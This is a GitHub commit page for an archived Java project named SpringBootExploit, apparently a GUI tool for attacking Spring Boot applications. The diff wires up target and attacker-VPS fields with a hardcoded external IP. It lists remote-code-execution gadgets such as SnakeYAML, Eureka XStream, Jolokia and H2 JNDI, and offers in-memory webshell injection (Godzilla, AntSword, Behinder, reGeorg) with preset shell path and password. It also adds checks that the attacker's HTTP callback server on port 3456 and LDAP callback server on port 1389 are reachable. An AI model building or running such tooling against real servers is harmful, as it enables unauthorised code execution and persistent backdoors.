Skip to content
This repository was archived by the owner on Jul 25, 2024. It is now read-only.

Commit d4d27fa

Browse files
SummerSecSummerSec
committed
LDAPUtil
1 parent 2193df2 commit d4d27fa

13 files changed

Lines changed: 290 additions & 55 deletions

File tree

‎.idea/compiler.xml‎

Lines changed: 9 additions & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎assembly.xml‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
<outputDirectory>/</outputDirectory>
2222
<includes>
2323
<include>**/*.class</include>
24+
<!-- <include>**/*.fxml</include>-->
2425
</includes>
2526
<useDefaultExcludes>true</useDefaultExcludes>
2627
</fileSet>

‎pom.xml‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,16 @@
44
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
55
<modelVersion>4.0.0</modelVersion>
66

7-
<groupId>com.Drops</groupId>
7+
<groupId>org.example</groupId>
88
<artifactId>SpringBootExploit</artifactId>
9-
<packaging>pom</packaging>
9+
<!-- <packaging>jar</packaging>-->
1010
<version>1.0-SNAPSHOT</version>
1111

1212

13-
<properties>
14-
<maven.compiler.source>8</maven.compiler.source>
15-
<maven.compiler.target>8</maven.compiler.target>
16-
</properties>
13+
<!-- <properties>-->
14+
<!-- <maven.compiler.source>1.8</maven.compiler.source>-->
15+
<!-- <maven.compiler.target>1.8</maven.compiler.target>-->
16+
<!-- </properties>-->
1717

1818
<build>
1919
<plugins>

src/main/java/com/drops/exp/EurekaXstreamRCEExp.java renamed to src/main/java/com/drops/exp/EurekaXstreamRCEEXP.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
* @Version: v1.0.0
1313
* @Description:
1414
**/
15-
public class EurekaXstreamRCEExp {
15+
public class EurekaXstreamRCEEXP {
1616
static String bobyV1 = "eureka.client.serviceUrl.defaultZone=";
1717
static String bobyV2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"";
1818

@@ -59,7 +59,7 @@ public static void main(String[] args) {
5959
String target = "127.0.0.1:9093";
6060
String vps = "127.0.0.1:6789";
6161
String port = "6789";
62-
EurekaXstreamRCEExp.setRCEV1(URLUtil.normalizeURL(target),
62+
EurekaXstreamRCEEXP.setRCEV1(URLUtil.normalizeURL(target),
6363
vps, port);
6464

6565
}

‎src/main/java/com/drops/main/Main.java‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,8 @@ public static void main(String[] args) {
1414

1515
@Override
1616
public void start(Stage primaryStage) throws Exception {
17-
Parent root = FXMLLoader.load(getClass().getResource("/gui.fxml"));
17+
18+
Parent root = FXMLLoader.load(getClass().getResource("/a.fxml"));
1819
primaryStage.setTitle("Spring Boot Vul Exploit by Drops");
1920
Scene scene = new Scene(root);
2021
primaryStage.setScene(scene);

src/main/java/com/drops/poc/EurekaXstreamRCE.java renamed to src/main/java/com/drops/poc/EurekaXstreamRCEPOC.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
* @Version: v1.0.0
1212
* @Description:
1313
**/
14-
public class EurekaXstreamRCE {
14+
public class EurekaXstreamRCEPOC {
1515

1616
/**
1717
* @param target

‎src/main/java/com/drops/poc/SpringBootEnvInfo.java‎

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,5 @@
11
package com.drops.poc;
22

3-
import com.alibaba.fastjson.JSON;
4-
import com.alibaba.fastjson.JSONObject;
53
import com.drops.utils.HTTPUtils;
64
import com.drops.utils.ReUtil;
75

@@ -38,7 +36,7 @@ private static void EnvInfo(String target){
3836
public static void main(String[] args) {
3937
String target = "http://127.0.0.1:9093/env";
4038
SnakeYAMLRCEPOC.hasSnakeYAMLRCE(target);
41-
EurekaXstreamRCE.hasEurekaXstreamRCE(target);
39+
EurekaXstreamRCEPOC.hasEurekaXstreamRCE(target);
4240
}
4341

4442

‎src/main/java/com/drops/ui/MainController.java‎

Lines changed: 132 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,14 @@
11
package com.drops.ui;
22

33
import com.drops.entity.ControllersFactory;
4+
import com.drops.utils.HTTPUtils;
5+
import com.drops.utils.LDAPUtil;
6+
import com.drops.utils.URLUtil;
7+
import com.drops.utils.Utils;
8+
import javafx.beans.value.ChangeListener;
9+
import javafx.beans.value.ObservableValue;
410
import javafx.collections.FXCollections;
11+
import javafx.collections.ObservableList;
512
import javafx.event.ActionEvent;
613
import javafx.fxml.FXML;
714
import javafx.geometry.Insets;
@@ -31,17 +38,112 @@ public class MainController {
3138
@FXML
3239
private MenuItem proxySetupBtn;
3340
public static Map currentProxy = new HashMap();
41+
// 设置 目标地址
42+
@FXML
43+
private TextField targetAddress;
44+
// 设置超时
45+
@FXML
46+
private TextField httpTimeout;
47+
@FXML
48+
private TextField vps;
49+
@FXML
50+
private Button crackKeyBtn;
51+
@FXML
52+
private Button crackSpcKeyBtn;
53+
@FXML
54+
public ComboBox<String> gadgetOpt;
55+
@FXML
56+
public ComboBox<String> echoOpt;
57+
@FXML
58+
private Button crackGadgetBtn;
59+
@FXML
60+
private Button crackSpcGadgetBtn;
61+
@FXML
62+
public TextArea logTextArea;
63+
@FXML
64+
private Label proxyStatusLabel;
65+
@FXML
66+
private TextField exCommandText;
67+
@FXML
68+
public TextArea execOutputArea;
69+
@FXML
70+
private Button executeCmdBtn;
71+
@FXML
72+
public ComboBox<String> memShellOpt;
73+
@FXML
74+
private TextField shellPathText;
75+
@FXML
76+
private TextField shellPassText;
77+
@FXML
78+
private Button injectShellBtn;
79+
@FXML
80+
public TextArea InjOutputArea;
81+
82+
LDAPUtil ldapUtil = null;
3483

3584

3685

3786
@FXML
3887
void initialize() {
3988
this.initToolbar();
40-
// this.initComBoBox();
89+
this.initComBoBox();
4190
// this.initContext();
91+
this.initConnect();
92+
// this.initAttack();
4293
ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);
4394
}
4495

96+
private void initAttack() {
97+
String target = this.targetAddress.getText();
98+
String vps = this.vps.getText();
99+
String timeout = this.httpTimeout.getText();
100+
if (this.connect()){
101+
102+
}
103+
104+
}
105+
106+
private void initConnect() {
107+
this.vps.setText("1.116.32.76");
108+
this.httpTimeout.setText("5");
109+
this.targetAddress.setText("http://127.0.0.1:9092");
110+
}
111+
112+
// private void initContext() {
113+
//
114+
// }
115+
116+
private void initComBoBox() {
117+
ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE", "RestartH2DatabaseQueryRCE", "", ""});
118+
this.gadgetOpt.setPromptText("SnakeYAMLRCE");
119+
this.gadgetOpt.setValue("SnakeYAMLRCE");
120+
this.gadgetOpt.setItems(gadgets);
121+
ObservableList<String> echoes =FXCollections.observableArrayList(new String[]{"TomcatEcho","SpringEcho"});
122+
this.echoOpt.setPromptText("TomcatEcho");
123+
this.echoOpt.setValue("TomcatEcho");
124+
this.echoOpt.setItems(echoes);
125+
this.shellPassText.setText("cat666");
126+
this.shellPathText.setText("/catcat66");
127+
final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"});
128+
this.memShellOpt.setPromptText("冰蝎[Filter]");
129+
this.memShellOpt.setValue("冰蝎[Filter]");
130+
this.memShellOpt.setItems(memShells);
131+
this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
132+
@Override
133+
public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) {
134+
if (((String)memShells.get(number2.intValue())).contains("reGeorg")) {
135+
MainController.this.shellPassText.setDisable(true);
136+
} else {
137+
MainController.this.shellPassText.setDisable(false);
138+
}
139+
140+
}
141+
});
142+
143+
144+
145+
}
146+
45147
private void initToolbar() {
46148
this.proxySetupBtn.setOnAction((event) -> {
47149
Alert inputDialog = new Alert(Alert.AlertType.NONE);
@@ -166,8 +268,36 @@ public void crackSpcGadgetBtn(ActionEvent actionEvent) {
166268

167269
public void crackGadgetBtn(ActionEvent actionEvent) {
168270
}
271+
// 验证服务端是否配置成功
272+
public boolean connect() {
273+
try {
274+
String vps = this.vps.getText();
275+
if(!vps.isEmpty()){
276+
277+
// 判断http 服务是否生效
278+
if(HTTPUtils.getRequest(vps + ":3456" ,"isOK.txt").getStatus() == 200){
279+
this.logTextArea.appendText(Utils.log("HTTP Server Is OK!"));
280+
this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!"));
281+
// 判断 ldap 服务是否生效
282+
// if(ldapUtil.sendLDAPRequest(vps)){
283+
// this.logTextArea.appendText(Utils.log("LDAP Server Is OK!"));
284+
// this.logTextArea.appendText(Utils.log("LDAP Server Is Working " + vps + " 的 1389 Port!"));
285+
// return true;
286+
// }else {
287+
// this.logTextArea.appendText(Utils.log("LDAP Server 绑定 1389 端口失败!"));
288+
// this.logTextArea.appendText(Utils.log("请检查 " + vps + " 的 1389端口是否被占用！"));
289+
// }
290+
return true;
291+
}else {
292+
this.logTextArea.appendText(Utils.log("HTTP Server 绑定 3456 端口失败！"));
293+
this.logTextArea.appendText(Utils.log("请检查 " + vps + "的3456端口是否被占用！"));
294+
}
295+
}
296+
}catch (Exception e){
297+
this.logTextArea.appendText(Utils.log(e.getMessage()));
298+
}
169299

170-
public void connect(ActionEvent actionEvent) {
300+
return false;
171301
}
172302

173303
public void executeCmdBtn(ActionEvent actionEvent) {

‎src/main/java/com/drops/utils/HTTPUtils.java‎

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,21 @@ public static HttpResponse getRequest(String target){
4747
String url = URLUtil.normalizeURL(target);
4848
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
4949
HttpResponse result = null;
50-
if (proxy != null){
50+
if (proxy == null){
51+
result = HttpRequest.get(url).execute();
52+
}else {
53+
result = HttpRequest.get(url).setProxy(proxy).execute();
54+
}
55+
56+
return result;
57+
}
58+
59+
public static HttpResponse getRequest(String target, String point){
60+
String url = URLUtil.normalizeURL(target) + point;
61+
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
62+
HttpResponse result = null;
63+
System.out.println(url);
64+
if (proxy == null){
5165
result = HttpRequest.get(url).execute();
5266
}else {
5367
result = HttpRequest.get(url).setProxy(proxy).execute();

‎src/main/java/com/drops/utils/LDAPUtil.java‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
package com.drops.utils;
2+
3+
import com.drops.ui.MainController;
4+
5+
import java.io.IOException;
6+
import java.net.Socket;
7+
8+
/**
9+
* @ClassName: LDAPUtil
10+
* @Description: TODO
11+
* @Author: Summer
12+
* @Date: 2021/8/2 10:01
13+
* @Version: v1.0.0
14+
* @Description: 检测1389端口是否被占用
15+
**/
16+
public class LDAPUtil {
17+
final MainController mainController;
18+
19+
public LDAPUtil(MainController mainController) {
20+
21+
this.mainController = mainController;
22+
}
23+
24+
public boolean sendLDAPRequest(String target) {
25+
String host = URLUtil.getHost(target);
26+
try {
27+
System.out.println("查看 "+ 1389);
28+
new Socket(host, 1389);
29+
// this.mainController.logTextArea.appendText(Utils.log(host + " 1389 端口被占用! " ));
30+
return false;
31+
} catch (IOException e) {
32+
// this.mainController.logTextArea.appendText(Utils.log("LDAP Server "));
33+
return true;
34+
}
35+
}
36+
37+
38+
}

0 commit comments

Comments
 (0)